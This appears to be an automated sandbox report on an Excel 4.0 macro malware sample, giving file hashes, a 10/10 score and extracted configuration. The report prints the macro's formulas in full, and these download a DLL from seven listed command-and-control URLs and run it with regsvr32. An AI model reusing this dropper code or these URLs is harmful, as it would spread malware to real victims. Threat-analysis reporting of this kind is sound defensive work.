General

  • Target

    288481d1402eaa0ce98bf8070439323ab54ad5223e89a1b18a64dd31d5f74dfd

  • Size

    48KB

  • Sample

    241120-lywc7swbjm

  • MD5

    696d43a84b6e71fe981514d0d9f4e3ae

  • SHA1

    faaafa0788f96549072c506480f5935d250315ee

  • SHA256

    288481d1402eaa0ce98bf8070439323ab54ad5223e89a1b18a64dd31d5f74dfd

  • SHA512

    ed3ffa39d5f14ca7e5b8053a43158c206c6b97def30027aea6dfb9b30561c1f1f4471ffffe05de428aec68b49a30d5b4e22a38666c5857aa3b1fc4821c197ed4

  • SSDEEP

    1536:5lFXmY3B6Y8r7mfqN1+TpCgcgsMA6VIcrW:5l1mG4YqVN1+TtRrW

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.arkpp.com/ARIS-BSU/9K1/

http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/

http://www.babylinesl.com/catalog/iVsl6YvlyIyX/

https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/

https://unada.us/acme-challenge/3NXwcYNCa/

https://automobile-facile.fr/wp-admin/QV/

https://alebit.de/css/gqKtdKmTsC4iDh/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/9K1/","..\fbd.dll",0,0) =IF('EGVEB'!D9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/","..\fbd.dll",0,0)) =IF('EGVEB'!D11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.babylinesl.com/catalog/iVsl6YvlyIyX/","..\fbd.dll",0,0)) =IF('EGVEB'!D13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/","..\fbd.dll",0,0)) =IF('EGVEB'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://unada.us/acme-challenge/3NXwcYNCa/","..\fbd.dll",0,0)) =IF('EGVEB'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://automobile-facile.fr/wp-admin/QV/","..\fbd.dll",0,0)) =IF('EGVEB'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alebit.de/css/gqKtdKmTsC4iDh/","..\fbd.dll",0,0)) =IF('EGVEB'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\fbd.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.arkpp.com/ARIS-BSU/9K1/

xlm40.dropper

http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/

xlm40.dropper

http://www.babylinesl.com/catalog/iVsl6YvlyIyX/

xlm40.dropper

https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/

xlm40.dropper

https://unada.us/acme-challenge/3NXwcYNCa/

Targets

    • Target

      288481d1402eaa0ce98bf8070439323ab54ad5223e89a1b18a64dd31d5f74dfd

    • Size

      48KB

    • MD5

      696d43a84b6e71fe981514d0d9f4e3ae

    • SHA1

      faaafa0788f96549072c506480f5935d250315ee

    • SHA256

      288481d1402eaa0ce98bf8070439323ab54ad5223e89a1b18a64dd31d5f74dfd

    • SHA512

      ed3ffa39d5f14ca7e5b8053a43158c206c6b97def30027aea6dfb9b30561c1f1f4471ffffe05de428aec68b49a30d5b4e22a38666c5857aa3b1fc4821c197ed4

    • SSDEEP

      1536:5lFXmY3B6Y8r7mfqN1+TpCgcgsMA6VIcrW:5l1mG4YqVN1+TtRrW

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks